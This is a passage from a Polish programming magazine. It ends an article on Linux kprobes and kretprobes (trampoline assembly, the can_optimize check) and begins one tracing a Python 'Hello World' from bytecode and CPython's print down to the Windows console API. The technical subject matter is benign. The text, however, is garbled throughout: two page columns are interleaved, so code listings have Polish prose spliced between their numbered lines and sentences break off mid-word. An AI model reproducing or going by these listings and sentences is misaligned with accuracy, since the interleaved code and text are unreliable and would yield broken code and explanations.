funkcja arch_prepare_kretprobe wymaga, aby ostatnim elemen- 32: ...
33: ri->ret_addr = correct_ret_addr;
tem na stosie był adres powrotu, w Listingu 15 za pomocą funkcji 34: ri->rp->handler(ri, regs);
kprobe_on_func_entry sprawdzane jest, czy kprobe z pola .kp bę- 35: ...
36: }
dzie umieszczony na samym początku funkcji. 37: ...
38: }
Sprawdźmy teraz, jak wygląda funkcja kretprobe_trampoline, któ-
39: ...
ra jest wywoływana po zakończeniu funkcji próbkowanej – Listing 19. 40: return (void *)orig_ret_address;
41: }
Listing 19. Definicja funkcji kretprobe_trampoline

1: asm( Wróćmy do funkcji kretprobe_trampoline z Listingu 19. Wynik


2: ".text\n"
3: ".global kretprobe_trampoline\n" z tej funkcji, czyli pierwotny adres powrotu, jest (11) umieszczany
4: ".type kretprobe_trampoline, @function\n" pod adresem wskazywanym przez wierzchołek stosu w momencie
5: "kretprobe_trampoline:\n"
6: " pushq %rsp\n" wejścia do tej funkcji (6). W ten sposób, wychodząc z funkcji kret-
7: " pushfq\n"
probe_trampoline, ze stosu ściągnięty zostanie prawidłowy adres
8: SAVE_REGS_STRING
9: " movq %rsp, %rdi\n" powrotu z funkcji próbkowanej i przebieg wykonywania kodu wró-
10: " call trampoline_handler\n"
11: " movq %rax, 19*8(%rsp)\n" ci do pierwotnej ścieżki. Oczywiście, aby tak się stało, należy jeszcze
12: RESTORE_REGS_STRING (12) zdjąć ze stosu rejestry, które zostały umieszczone przed wywo-
13: " popfq\n"
14: " ret\n" łaniem funkcji trampoline_handler.
15: ".size kretprobe_trampoline, .-kretprobe_trampoline\n" Podsumowując, kretprobe działa poprzez podmianę adresu po-
16: );
wrotu z funkcji próbkowanej na adres pomocniczej funkcji tymcza-
sowej. Dzięki takiemu zabiegowi funkcja próbkowana, która ma kilka
W powyższym listingu przedstawiono funkcję kretprobe_tram- punktów wyjścia zawsze po zakończeniu, wywoła funkcję pomocni-
poline, która ze względu na swoją specyfikę jest napisana w języku czą, która z kolei wywołuje funkcję zdefiniowaną w polu .handler
Assembly. Funkcja ta odkłada na stos (6) adres wierzchołka stosu, przy rejestracji kretprobe.

{ WWW.PROGRAMISTAMAG.PL } <47>
PROGRAMOWANIE SYSTEMOWE

OPTYMALIZACJA » (15) Upewnienie się, czy instrukcja skoku zmieści się w obrębie
funkcji, w której wstawiony został kprobe.
Kprobe, wykorzystując mechanizm debugowania w celu wywołania » (19) Następnie ciało funkcji rozbijane jest na pojedyncze in-
funkcji próbkujących, wprowadza pewien narzut czasowy dotyczący strukcje i dokonywana jest dalsza analiza.
wykonywania kodu. Dlatego też można dokonać pewnych optymaliza- » (21) Za pomocą tablicy wyjątków jądra sprawdzane jest, czy in-
cji i zamiast instrukcji pułapki INT3 można użyć skoku, czyli instrukcji strukcja pod danym adresem nie powoduje zgłoszenia wyjątku.
JMP, do funkcji próbkującej zdefiniowanej w polu .pre_handler. Jed- » (23) Pobranie instrukcji spod danego adresu. Jeżeli wcześniej
nak nie w każdym przypadku taka optymalizacja jest możliwa i o tym został zarejestrowany inny kprobe, to funkcja recover_probed_
decyduje funkcja can_optimize przedstawiona w Listingu 21. instruction zwróci pierwotną instrukcję.
» (32) Jeżeli instrukcja pod danym adresem jest pułapką (INT3),
Listing 21. Definicja funkcji can_optimize sprawdzająca, czy można zoptyma-
lizować kprobe to należy sprawdzić, czy jest to dopełnienie funkcji.
» (38) Sprawdzenie, czy dana instrukcja jest skokiem. Jeżeli jest
1: static int can_optimize(unsigned long paddr)
2: { to skok pośredni, to optymalizacja nie jest dozwolona. Jeżeli in-
3: unsigned long addr, size = 0, offset = 0; strukcja jest skokiem bezpośrednim i skacze do miejsca, gdzie
4: struct insn insn;
5: kprobe_opcode_t buf[MAX_INSN_SIZE]; zarejestrowany został kprobe, to optymalizacja również nie
6: może zostać przeprowadzona.
7: if (!kallsyms_lookup_size_offset(paddr, &size,
8: &offset))
9: return 0;
Dodatkowo, aby optymalizacja mogła zostać wprowadzona, pole .post_
10:
11: if (((paddr >= (unsigned long)__entry_text_start) && handler struktury kprobe podczas rejestracji musi być wyzerowane.
12: (paddr < (unsigned long)__entry_text_end)))
13: return 0;
Optymalizację kprobe należy wcześniej aktywować w konfigura-
14: cji kernela za pomocą flagi CONFIG_OPTPROBES. Można także ją wyłą-
15: if (size - offset < JMP32_INSN_SIZE)
16: return 0; czyć w trakcie działania systemu poprzez wywołanie komendy sys-
17: ctl -w debug.kprobes_optimization=n bądź poprzez zapisanie
18: addr = paddr - offset;
19: while (addr < paddr - offset + size) { do pliku /sys/kernel/debug/kprobes/enabled wartości 0.
20: unsigned long recovered_insn;
21: if (search_exception_tables(addr))
22: return 0;
23: recovered_insn =
PODSUMOWANIE
24: recover_probed_instruction(buf, addr);
25: if (!recovered_insn) Kprobe jako mechanizm profilowania i debugowania jądra Linuxa
26: return 0;
ma bardzo duże możliwości. Szukając błędów w kodzie, zdolność
27: kernel_insn_init(&insn, (void *)recovered_insn,
28: MAX_INSN_SIZE); próbkowania niemal dowolnej instrukcji może być nieoceniona.
29: insn_get_length(&insn);
30:
Oczywiście kprobe ma także swoje ograniczenia. Jak mogliśmy się
31: if (insn.opcode.bytes[0] == INT3_INSN_OPCODE) przekonać podczas analizowania sposobu jego działania, część kodu
32: return is_padding_int3(addr,
33: paddr-offset+size) ? wykorzystuje cechy danej architektury, stąd też kprobe jest dostępny
34: 1 : 0; tylko dla wybranych platform. Również poprzez narzut spowodo-
35:
36: insn.kaddr = (void *)addr; wany wykorzystaniem przerwań profilowanie przy pomocy kprobe
37: insn.next_byte = (void *)(addr + insn.length); może być niewystarczające, gdy liczą się nanosekundy. Sięgając po to
38: if (insn_is_indirect_jump(&insn) ||
39: insn_jump_into_range(&insn, narzędzie, musimy także pogodzić się z mało wygodnym interfejsem,
40: paddr + INT3_INSN_SIZE, jednak dzięki temu mamy dostęp do szerokiego wachlarza metod
41: DISP32_SIZE))
42: return 0; szukania błędów w kodzie jądra Linuxa.
43: addr += insn.length;
44: }
45:
46: return 1;
47: } Bibliografia
Dokumentacja kprobe – https://www.kernel.org/doc/Documentation/kprobes.txt
Przeanalizujmy tę funkcję, aby zrozumieć, jakie warunki należy speł-
nić, by można było dokonać optymalizacji:
» (1) Funkcja jako argument przyjmuje adres, pod którym zareje-
strowany jest kprobe.
» (7) Pobrany zostaje rozmiar funkcji, w której umieszczony został MAREK MAŚLANKA
kprobe, a także przesunięcie kprobe względem początku funk- marek.maslanka@semihalf.com
cji. Wartości te będą potrzebne przy dalszym przetwarzaniu.
Inżynier systemów wbudowanych w firmie Semi-
» (11) Sprawdzenie, czy adres nie znajduje się w tzw. punktach wej- half. Na co dzień zajmuje się oprogramowaniem
ściowych jądra (ang. kernel entry points), do których zalicza się dla wysoko wydajnych serwerów opartych o ar-
chitekturę ARM. Po skończonej pracy zajmuje się
m.in. obsługa wywołań systemowych, obsługa przerwań i wyjąt-
przeglądaniem kodu źródłowego kernela Linux
ków. Więcej informacji o punktach wejściowych można znaleźć w celu zrozumienia, jak pewne rzeczy działają
pod adresem kernel.org/doc/html/latest/x86/entry_64.html. pod maską.

<48> { 1 / 2022 < 100 > }


PROGRAMOWANIE SYSTEMOWE

Hello World pod lupą


Pierwszym krokiem w klasycznej ścieżce edukacji przyszłych programistów jest stworzenie pro-
gramu wypisującego – najczęściej w konsoli – tekst „Hello, World!”. Sam program jest z definicji
banalny, ale to, co dzieje po jego uruchomieniu – już nie do końca. W tym artykule prześle-
dzimy ścieżkę wykonania mini-programu „Hello World” napisanego w Pythonie, zaczynając od
pojedynczego wywołania wysokopoziomowej funkcji print, poprzez kolejne poziomy abstrakcji
interpretera, systemu operacyjnego i sterowników graficznych, a kończąc na wyświetleniu odpo-
wiednich pikseli na ekranie. Skupimy się przy tym na systemie Windows. Jak się okaże, ścieżka
ta sama w sobie nie jest ani prosta, ani krótka, ale zdecydowanie bardzo ciekawa.

KOD W PYTHONIE Efekt analizy leksykalnej możemy obejrzeć, korzystając z urucho-


mionego z linii poleceń modułu tokenize, czego wynikiem będzie
Kod, od którego zaczniemy, jest banalny: wypisanie listy tokenów, której poszczególne wiersze zawierają pozycję
danego tokena w pliku, jego typ oraz ewentualną zawartość tekstową.
print("Hello World")
>python -m tokenize hello.py
Efekt jego działania jest zarówno przewidywalny, jak i oczywisty: 0,0-0,0: ENCODING 'utf-8'
1,0-1,5: NAME 'print'
1,5-1,6: OP '('
1,6-1,19: STRING '"Hello World"'
1,19-1,20: OP ')'
1,20-1,21: NEWLINE '\n'
2,0-2,0: ENDMARKER ''

Nasz prosty Hello World składa się z niewielu tokenów: nazwy print,
Co jednak sprawia, że nasz komputer w efekcie wykonania powyż- operatorów ( i ) oraz literału tekstowego "Hello World". Oprócz
szego programu uznaje za stosowne zmienić kolor kilkuset wybra- nich jest jeszcze nieistotny w tym przypadku znak nowej linii, a także
nych pikseli na ekranie? tokeny zawierające metadane, takie jak użyte w pliku źródłowym ko-
Pierwszym krokiem okazuje się być kompilacja wskazanego pli- dowanie czy znacznik końca danych.
ku zawierającego nasz kod źródłowy (hello.py). Niektórzy czytelnicy Tokeny są następnie przekazywane do parsera, który, korzystając
mogą czuć się zaskoczeni już w tym momencie: „Ale chwila, czy Py- z zasad gramatycznych, generuje drzewo AST. Wynik działania par-
thon – w przeciwieństwie do C czy C++ – nie jest czasem językiem sera możemy obejrzeć, korzystając z modułu ast, który, podobnie
interpretowanym?”. I faktycznie, Python często jest nazywany językiem jak wcześniej tokenize, działa również bezpośrednio z linii poleceń.
skryptowym, a te, z definicji, nie powinny być kompilowane, czyż nie?
>python -m ast hello.py
W praktyce wiele popularnych języków skryptowych, jak na przy- Module(
kład PHP, Ruby, Lua, JavaScript, Perl czy właśnie Python, są kompilo- body=[
Expr(
wane do swoich własnych wariantów kodu bajtowego (ang. bytecode), value=Call(
czyli formy binarnej, która – mimo iż jest niekompatybilna z języ- func=Name(id='print', ctx=Load()),
args=[
kiem maszynowym prawdziwych procesorów1 – jest dużo łatwiejsza Constant(value='Hello World')],
do szybkiej interpretacji i wykonania niż czysty kod źródłowy. Py- keywords=[]))],
type_ignores=[])
thon w tym przypadku jest językiem o tyle wdzięcznym, że udostęp-
nia moduły pozwalające na wgląd w poszczególne części tego proce-
su z poziomu samego języka. Podobnie jak w przypadku listy tokenów, samo drzewo AST ogra-
Dla przypomnienia, proces kompilacji – w sporym uproszczeniu nicza się jedynie do kilku węzłów: do korzenia Module podczepione
– można sprowadzić do trzech kroków: jest tylko jedno wyrażenie – typu Call (wywołanie funkcji), które
» analizy leksykalnej (wykonywanej przez lexer), której wyni- z kolei połączone jest jedynie z węzłem zawierającym nazwę (Name)
kiem jest lista tokenów, funkcji oraz jednym argumentem będącym stałą (Constant) o war-
» analizy składniowej (wykonywanej przez parser), której wyni- tości 'Hello World'.
kiem jest drzewo wyrażeń (AST, Abstract Syntax Tree), Warto dodać, że powstało kilka prostych narzędzi umożliwiają-
» oraz generowania kodu – w naszym przypadku bajtowego. cych wyświetlenie drzewa AST programów napisanych w Pythonie
w postaci faktycznego grafu. Efekt działania jednego z nich – AST
1. Z drobnym wyjątkiem w postaci Jazelle DBX, czyli dodatkowego trybu w niektórych starszych
procesorach z rodziny ARM, który umożliwiał wykonanie kodu bajtowego Java. visualizer autorstwa quantifiedcode [1] – znajduje się na Rysunku 1.

<50> { 1 / 2022 < 100 > }


/ Hello World pod lupą /

Listing 1. Widok heksadecymalny na plik wynikowy

>hexdump hello.cpython-39.pyc
00000000: 61 0D 0D 0A 00 00 00 00 - 83 F2 49 61 15 00 00 00 |a Ia |
00000010: E3 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 | |
00000020: 00 02 00 00 00 40 00 00 - 00 73 0C 00 00 00 65 00 | @ s e |
00000030: 64 00 83 01 01 00 64 01 - 53 00 29 02 7A 0B 48 65 |d d S ) z He|
00000040: 6C 6C 6F 20 57 6F 72 6C - 64 4E 29 01 DA 05 70 72 |llo WorldN) pr|
00000050: 69 6E 74 A9 00 72 02 00 - 00 00 72 02 00 00 00 FA |int r r |
00000060: 08 68 65 6C 6C 6F 2E 70 - 79 DA 08 3C 6D 6F 64 75 | hello.py <modu|
00000070: 6C 65 3E 01 00 00 00 F3 - 00 00 00 00 |le> |
0000007c;

Nasz program sprowadza się do sześciu instrukcji, które kolejno:


» umieszczają na stosie funkcję print,
» umieszczają na stosie string „Hello World”,
» wywołują zdjętą ze stosu funkcję z jednym argumentem (czyli
print('Hello World')),
» usuwają ze stosu zwróconą przez print wartość None,
» umieszczają na stosie wartość None,
» pobierają wartość z góry stosu i ją zwracają (czyli istniejące
niejawnie w kodzie return None), co powoduje zakończenie
Rysunek 1. Drzewo AST programu „Hello World”
programu.

W kolejnym kroku na podstawie drzewa AST generowany jest kod


OBIEKT CODE
bajtowy, który również możemy podejrzeć, tym razem korzystając
z modułu dis, który wyświetli wszystkie instrukcje w formie tekstowej. Efektem kompilacji kodu źródłowego nie jest jednak jedynie kod baj-
towy, lecz również cała seria metadanych zapisanych w obiekcie klasy
>python -m dis hello.py
1 0 LOAD_NAME 0 (print) code. W trzeciej wersji Pythona klasa code nie należy do wąskiego
2 LOAD_CONST 0 ('Hello World') grona podstawowych typów (takich jak str czy int), ale można się
4 CALL_FUNCTION 1
6 POP_TOP do niej odwołać, korzystając z modułu types:
8 LOAD_CONST 1 (None)
10 RETURN_VALUE >>> import types
>>> types.CodeType
<class 'code'>

Skrótowy opis wszystkich instrukcji można znaleźć w dokumentacji


samego modułu dis [2], więc na potrzeby tego artykułu ograniczymy Inspekcja obiektu code naszego programu będzie jednak odrobinę
się do omówienia jedynie operacji użytych w naszym Hello World: bardziej skomplikowana. Otóż najprostszym sposobem, żeby móc
» LOAD_NAME nazwa – umieszcza na stosie wartość zmiennej glo- wejść w interakcję z tym obiektem, jest wymuszenie skompilowa-
balnej o podanej nazwie2, nia naszego skryptu do pliku (python -m compileall hello.py),
» LOAD_CONST stała – umieszcza na stosie podaną stałą3, a następnie przyjrzenie się otrzymanemu w ten sposób plikowi wyni-
» CALL_FUNCTION liczba_parametrów – wywołuje zdjętą ze stosu funk- kowemu __pycache__/hello.cpython-39.pyc (Listing 1).
cję oraz przekazuje jej podaną liczbę zdjętych ze stosu parametrów, Na szczęście nie musimy opierać naszej analizy bezpośrednio
» POP_TOP – usuwa jeden element ze szczytu stosu, o dane binarne. Zamiast tego skorzystamy ze standardowej bibliote-
» RETURN_VALUE – wychodzi z funkcji, zwracając element z wierz- ki Pythona o nazwie marshal w celu zdeserializowania powyższego
chu stosu. pliku (uprzednio pomijając nieistotny dla nas 16-bajtowy nagłówek)
i wypiszemy informacje o otrzymanym obiekcie typu code (types.
Jak można się domyślić z opisu powyższych instrukcji, wzorcowa im- CodeType). W tym celu posłużymy się następującym krótkim pro-
plementacja Pythona korzysta z maszyny stosowej i – w przeciwień- gramem pomocniczym:
stwie do np. procesorów ARM czy x86 – nie ma rejestrów, a więc kod
import marshal
jest wykonywany poprzez umieszczanie wartości na stosie, a następ- with open("__pycache__/hello.cpython-39.pyc", "rb") as f:
nie użycie instrukcji, które zdejmują argumenty ze stosu i umieszcza- marshaled_obj = f.read()[16:] # Zignoruj 16 bajtów nagłówka.
obj = marshal.loads(marshaled_obj) # Zwróci obiekt typu code.
ją na nim wynik operacji4.
print("-=- Code object")
2. Posłużyliśmy się tu pewnym uproszczeniem, jako że faktycznie w samym kodzie bajtowym w tym
for field in dir(obj):
miejscu znajdziemy nie ciąg „print”, a indeks w tablicy nazw (co_names), pod którym można znaleźć if not field.startswith("co_"):
ten string. continue
3. Podobnie jak w przypadku LOAD_NAME, w samym kodzie bajtowym znajdziemy jedynie indeks w print(" %-20s: %s" % (field, getattr(obj, field)))
tablicy stałych (co_consts).
4. Pomijając skoki, kod bajtowy Pythona mógłby być w zasadzie porównany do Odwrotnej Notacji
Polskiej.

{ WWW.PROGRAMISTAMAG.PL } <51>
PROGRAMOWANIE SYSTEMOWE

Po jego uruchomieniu powinniśmy otrzymać całkiem sporo cie- Efekt działania podanego programu wygląda tak samo jak w jego
kawych informacji: pierwotnej wersji:

-=- Code object >python rec.py


co_argcount : 0 Hello World
co_cellvars : ()
co_code : b'e\x00d\x00\x83\x01\x01\x00d\x01S\x00'
co_consts : ('Hello World', None)

MASZYNA WIRTUALNA CPYTHON


co_filename : hello.py
co_firstlineno : 1
co_flags :
co_freevars :
64
()
I FUNKCJA PRINT
co_kwonlyargcount : 0
co_lnotab : b'' Sercem maszyny wirtualnej wykonującej kod bajtowy jest funkcja
co_name : <module>
_PyEval_EvalFrameDefault, którą można odnaleźć w źródłach
co_names : ('print',)
co_nlocals : 0 Pythona w pliku Python/ceval.c. Sama funkcja jest dosyć długa – ma
co_posonlyargcount : 0
co_stacksize : 2 ponad 3000 linii – ale zawarte w niej implementacje poszczególnych
co_varnames : () operacji są dość krótkie i do pewnego stopnia czytelne nawet dla
osób nie znających niuansów projektu CPython. Na przykład imple-
Analizując wynik działania naszego skryptu, od razu można zauwa- mentacja używanego w naszym skrypcie opkodu POP_TOP wygląda
żyć, że większość pól jest albo pusta (jak co_cellvars, co_freevars, następująco:
co_lnotab, co_varnames), albo wyzerowana (jak co_argcount,
case TARGET(POP_TOP): {
co_kwonlyargcount, co_nlocals, co_posonlyargcount). Wpływ PyObject *value = POP();
na to ma zarówno prostota kodu źródłowego, jak i to, że mamy do Py_DECREF(value);
FAST_DISPATCH();
czynienia z kodem znajdującym się w przestrzeni globalnej modu- }
łu – a więc wszelkie pola związane z metadanymi funkcji pozostają
niewykorzystane. Szczegółową analizę kodu instrukcji jednak pominiemy – wykracza
Pełen opis wszystkich pól można znaleźć w dokumentacji modu- ona poza zakres tego artykułu – i zamiast tego przejdziemy do samej
łu inspect [3], niemniej jednak chcielibyśmy zwrócić uwagę na kilka funkcji print.
z nich: Funkcję print – a w zasadzie jej implementację w języku C o na-
» co_code – tablica bajtów (formalnie obiekt typu bytes) zawierają- zwie builtin_print – można znaleźć w pliku Python/bltinmodule.c.
ca wcześniej omówiony kod w formie skompilowanej, tj. binarnej, Jej działanie można sprowadzić do następujących punktów:
» co_consts – krotka zawierająca wszystkie stałe używane przez 1. Pobierz obiekt sys.stdout (lub inny przekazany w opcjonal-
kod; w przypadku naszego kodu jest to jedynie string „Hello nym argumencie file), z którego będą korzystać wszystkie ope-
World”, oraz używane niejawnie None; w przypadku większych racje wypisywania.
programów i modułów znalazłyby się tutaj obiekty code wszyst- 2. Dla każdego nienazwanego argumentu funkcji:
kich funkcji globalnych, w tym tych odpowiedzialnych za fak- a. Jeśli to jest drugi lub kolejny argument, wypisz separator
tyczne utworzenie zdefiniowanych w kodzie klas; (domyślnie znak spacji).
» co_names – krotka z używanymi w kodzie globalnymi „nazwami”, b. Wypisz argument.
a więc odniesieniami do globalnych funkcji, nazw, typów itd., 3. Opcjonalnie wypisz znak końca linii.
» co_name, co_filename, co_firstlineno oraz (puste w naszym 4. Opcjonalnie opróżnij bufor, tj. wykonaj operację flush().
przypadku) co_lnotab – dane mapujące kod binarny na kon-
kretne linie w kodzie źródłowym, co jest bardzo przydatne Operacje wypisania są wykonywane za pomocą jednej z dwóch funk-
w momencie, gdy trzeba wyświetlić informacje o błędzie. cji: PyFile_WriteObject oraz, dla literałów tekstowych jak spacja
czy znak nowej linii, PyFile_WriteString. Ponieważ ta druga funk-
Gdybyśmy chcieli uruchomić nasz kod „Hello World”, rekonstru- cja sprowadza się ostatecznie i tak do wywołania tej pierwszej, skupi-
ując obiekt code z informacji wyświetlanych przez nasz pomocniczy my się na PyFile_WriteObject. Funkcję tę można znaleźć w pliku
program, musielibyśmy stworzyć najpierw sam obiekt klasy code, Objects/fileobject.c, a jej działanie, w uproszczeniu i pseudokodzie,
a następnie obiekt klasy function, który przywiązuje obiekt code do wygląda następująco:
konkretnego zestawu zmiennych globalnych:
s = repr(obiektDoWypisania)
sys.stdout.write(s)
import types
# Kolejność pól konstruktora CodeType może być inna
# w innych wersjach CPython. Jak można wywnioskować z powyższego kodu, print ostatecznie
# W razie czego: help(types.CodeTypes)
c = types.CodeType( i tak wywołuje metodę write należącą do obiektu sys.stdout. Co za
0, 0, 0, 0, 5, 64, tym idzie, jeśli byśmy nadpisali ten obiekt i wprowadzili własną me-
b'e\x00d\x00\x83\x01\x01\x00d\x01S\x00',
('Hello World', None), todę write, to możemy przechwycić wszystko, co jest wypisywane za
('print',), (), 'hello.py', pomocą print – ilustruje to następujący eksperyment:
'<module>', 1, b'')
f = types.FunctionType(c, globals())
f()

<52> { 1 / 2022 < 100 > }


/ Hello World pod lupą /

#!/usr/bin/python3 Listing 2. Pełny stos wywołań od print() w Pythonie do WriteConsoleW w WinAPI


import sys
class BetterStdOut: KERNELBASE!WriteConsoleW
def __init__(self, org): python39!_io__WindowsConsoleIO_write_impl+0x148 [\Modules\_io\winconsoleio.c @ 1004]
self._org = org python39!_io__WindowsConsoleIO_write+0x7f [\Modules\_io\clinic\winconsoleio.c.h @ 319]
python39!method_vectorcall_O+0x9d [\Objects\descrobject.c @ 463]
def write(self, v): python39!_PyObject_VectorcallTstate+0x2c [\Include\cpython\abstract.h @ 118]
self._org.write(v.upper()) python39!PyObject_VectorcallMethod+0x82 [\Objects\call.c @ 828]
python39!PyObject_CallMethodOneArg+0x2f [\Include\cpython\abstract.h @ 208]
def __getattr__(self, name): python39!_bufferedwriter_raw_write+0x99 [\Modules\_io\bufferedio.c @ 1822]
return getattr(self._org, name) python39!_bufferedwriter_flush_unlocked+0x7c [\Modules\_io\bufferedio.c @ 1871]
python39!buffered_flush_and_rewind_unlocked+0x12 [\Modules\_io\bufferedio.c @ 799]
sys.stdout = BetterStdOut(sys.stdout) python39!buffered_flush+0x77 [\Modules\_io\bufferedio.c @ 826]
print("wszędzie wielkie litery") python39!method_vectorcall_NOARGS+0xa0 [\Objects\descrobject.c @ 435]
python39!_PyObject_VectorcallTstate+0x2c [\Include\cpython\abstract.h @ 118]
python39!PyObject_VectorcallMethod+0x82 [\Objects\call.c @ 828]
python39!PyObject_CallMethodNoArgs+0x1c [\Include\cpython\abstract.h @ 198]
Po wykonaniu powinniśmy zobaczyć python39!_io_TextIOWrapper_write_impl+0x373 [\Modules\_io\textio.c @ 1724]
python39!_io_TextIOWrapper_write+0x3c [\Modules\_io\clinic\textio.c.h @ 411]
następujący wynik: python39!cfunction_vectorcall_O+0xaa [\Objects\methodobject.c @ 513]
python39!_PyObject_VectorcallTstate+0x2e [\Include\cpython\abstract.h @ 119]
>python over.py python39!PyObject_CallOneArg+0x2d [\Include\cpython\abstract.h @ 189]
WSZĘDZIE WIELKIE LITERY python39!PyFile_WriteObject+0x5d [\Objects\fileobject.c @ 141]
python39!PyFile_WriteString+0x42 [\Objects\fileobject.c @ 165]
python39!builtin_print+0x132 [\Python\bltinmodule.c @ 1892]

SYSTEM NACZYŃ
POŁĄCZONYCH I SYS.STDOUT KONSOLE W SYSTEMIE WINDOWS
Wracając do naszego tytułowego programu, wiemy już, że „Hello Na tym etapie wiemy już, że użycie funkcji print w języku Python
World” zostanie ostatecznie przekazane do metody write obiektu prowadzi do wywołania przez interpreter systemowej funkcji Write-
sys.stdout. W wersji trzeciej Pythona sys.stdout jest w zasadzie ConsoleW na podanym ciągu znaków. Pozostaje jednak pytanie,
stosem złożonym z trzech poziomów pomocniczych klas wejścia/ w jaki sposób realizuje ona swoje zadanie. Aby zrozumieć zasadę
wyjścia, odpowiedzialnych za konwersję i kodowanie, buforowanie działania tej funkcji, musimy najpierw cofnąć się o kilka, a nawet kil-
oraz ostatecznie przekazanie danych do – w naszym przypadku – kadziesiąt lat wstecz.
konsoli. Konkretniej, na stos ten składają się klasy: Tryb tekstowy i wiersz poleceń od samego początku były nieod-
» io.TextIOWrapper odpowiadającej za kodowanie podawanych łączną częścią systemów operacyjnych rozwijanych przez firmę Mi-
metodzie write Unicode’owych stringów na UTF-8, opcjonalną crosoft. W MS-DOS służyły one za podstawowy sposób interakcji
konwersję sekwencji końca linii (w przypadku Windowsa bę- z komputerem, a w momencie wprowadzenia interfejsu graficznego
dzie to przetłumaczenie "\n" na "\r\n") oraz buforowanie na w Windows 1.0 tekstowe komendy wciąż były jedynym sposobem na
poziomie linii5, wykonanie wielu operacji. Wiersz poleceń nie odszedł w zapomnienie
» io.BufferedWriter (widocznej w polu sys.stdout.buffer) nawet po wydaniu pierwszego Windowsa z rodziny NT, który całko-
odpowiadającej za buforowanie na poziomie bajtów, wicie uniezależnił się od środowiska DOS i oferował w pełni okien-
» io._WindowsConsoleIO (widocznej w polu sys.stdout.buf- kowy tryb pracy. Podstawowa linia komend o nazwie command.com
fer.raw) odpowiadającej za bezpośredni kontakt z API konsoli. a później cmd.exe przetrwała w Windowsach przez kolejne 20 lat – aż
do dziś, wciąż ciesząc się dużą popularnością wśród programistów,
Warto zaznaczyć, że zestaw ten może być inny w przypadku, gdy wynik administratorów i power userów. Można śmiało powiedzieć, że jest
wykonania programu przekażemy do innego procesu (np. python hello. to jeden z najstarszych, jeśli nie najdłużej istniejący Windowsowy
py | more) lub zapiszemy do pliku (np. python hello.py > plik.txt). program.
Samo przekazanie danych do konsoli odbywa się ostatecznie Warto zaznaczyć, że wiersz poleceń a tryb konsolowy to dwie
w implementacji metody write klasy io._WindowsConsoleIO, czyli bardzo blisko związane, ale jednak różne rzeczy. Linia komend
w funkcji _io__WindowsConsoleIO_write_impl w pliku Modules/_ opiera się na konsoli jako interfejsie wejścia/wyjścia, skąd pobie-
io/winconsoleio.c. W skrócie, funkcja ta wykonuje dwie czynności: ra polecenie lub serię poleceń do wykonania, a następnie wypisuje
1. Konwertuje otrzymywany strumień bajtów z UTF-8 na używany ich wynik. Może ona również realizować bardziej skomplikowane
wewnętrznie w WinAPI UTF-16. zadania, takie jak obsługa języków skryptowych. Przykładowe wier-
2. Wywołuje funkcję WinAPI WriteConsoleW, która eksportuje sze poleceń w systemie Windows to wspomniany już Command
dane z naszego procesu do konsoli i której działaniu poświęci- Prompt (cmd.exe) oraz PowerShell. Z kolei terminal to wewnętrzna
my kolejną sekcję. część systemu operacyjnego, która odpowiada za graficzną otoczkę
trybu tekstowego, czyli rysowanie okna, znaków tekstowych, umoż-
Wywołanie funkcji WriteConsoleW jest jednocześnie miejscem, w któ- liwianie zaznaczania/kopiowania tekstu itp. W jego skład można
rym ostatecznie opuszczamy kod zarówno naszego skryptu w Pytho- również zaliczyć implementację tzw. Console API [4], czyli zbioru
nie, jak i samego środowiska wykonania CPython. Dotychczasową funkcji systemowych umożliwiających operacje na konsoli (np. Get-
wędrówkę można zobaczyć w postaci stosu wywołań w Listingu 2. ConsoleFontSize, ReadConsole, SetConsoleTitle itp.). Dzięki
wbudowanemu wsparciu dla konsoli w Windowsie proste programy
5. Operacja flush() jest wykonywana po napotkaniu przynajmniej jednego znaku nowej linii w
buforze, lub gdy liczba bajtów w buforze przekroczy 8192. działające w trybie tekstowym nie muszą zajmować się graficznym

{ WWW.PROGRAMISTAMAG.PL } <53>
PROGRAMOWANIE SYSTEMOWE

aspektem komunikacji z użytkownikiem – mogą wywołać kilka dziś to on jest odpowiedzialny za uruchamianie conhost.exe dla pro-
prostych funkcji API (lub wręcz funkcji biblioteki standardowej), gramów z tekstowym interfejsem oraz przekazywanie między nimi
a resztą zajmuje się system. W tym artykule skupimy się właśnie na informacji. Każdy program konsolowy ma kilka otwartych uchwy-
szczegółach działania domyślnej implementacji konsol, dla której al- tów do pseudo-plików obsługiwanych przez ten moduł, takich jak
ternatywą jest od niedawna rozwijany przez Microsoft projekt Win- \Device\ConDrv\Connect, \Device\ConDrv\Input, \Device\ConDrv\
dows Terminal [5]. Output itd. Za ich pośrednictwem programy tekstowe mogą czytać,
Aby dla danego procesu zostało przydzielone okno konsoli (nowe pisać i zmieniać właściwości konsoli, a wysyłane przez nie zapytania
lub istniejące), musi wystąpić jeden z warunków: są odpowiednio opakowywane i przekazywane do conhost.exe, któ-
» Program został skompilowany jako konsolowy. W środowisku ry wykonuje faktyczne operacje na oknie lub buforach wejścia/wyj-
Visual Studio odpowiada za to flaga /SUBSYSTEM:CONSOLE, ścia. Zarówno pomocniczy proces conhost, jak i nazwy aktywnych
a w przypadku kompilatorów gcc i clang jest to opcja domyślna uchwytów można z łatwością zaobserwować przy użyciu narzędzia
(o ile nie zostanie użyty parametr -Wl,--subsystem,windows, Process Explorer, co zostało przedstawione na Rysunku 2. Z kolei
lub w skrócie -mwindows). W wynikowym pliku wykonywalnym ogólny zarys architektury konsol w systemach Windows 8 i nowszych
świadczy o tym pole Subsystem w strukturze IMAGE_OPTION- pokazano na Rysunku 3.
AL_HEADER, które może być ustawione na stałą IMAGE_SUBSYS-
TEM_WINDOWS_GUI (program okienkowy) lub IMAGE_SUBSYS-
TEM_WINDOWS_CUI (program konsolowy).
» Program wywołał funkcję AllocConsole do utworzenia nowej
konsoli, lub AttachConsole do przyłączenia się do konsoli ist-
niejącego procesu.

Płynie z tego kilka ciekawych wniosków. Po pierwsze, kwestia tego,


Rysunek 2. Process Explorer pokazujący proces conhost.exe i uchwyty w python.exe
czy dany program jest konsolowy czy nie, jest w dużym stopniu
umowna, gdyż zarówno aplikacja oznaczona jako konsolowa może
wyświetlać okna, jak i aplikacja teoretycznie graficzna może stworzyć Podczas rozwijania systemu Windows 10 Microsoft postawił jeszcze
i korzystać z konsoli. Po drugie, obowiązuje zasada, że jeden program większy nacisk na unowocześnienie konsol, dzięki czemu możliwe
może w danym momencie operować na jednej konsoli, natomiast do stało się wspomniane wcześniej zaznaczanie tekstu liniami, wyświe-
jednej konsoli może być przypisanych wiele procesów. Dzieje się tak tlanie kolorów z 24-bitowej palety czy też pełne wsparcie dla formato-
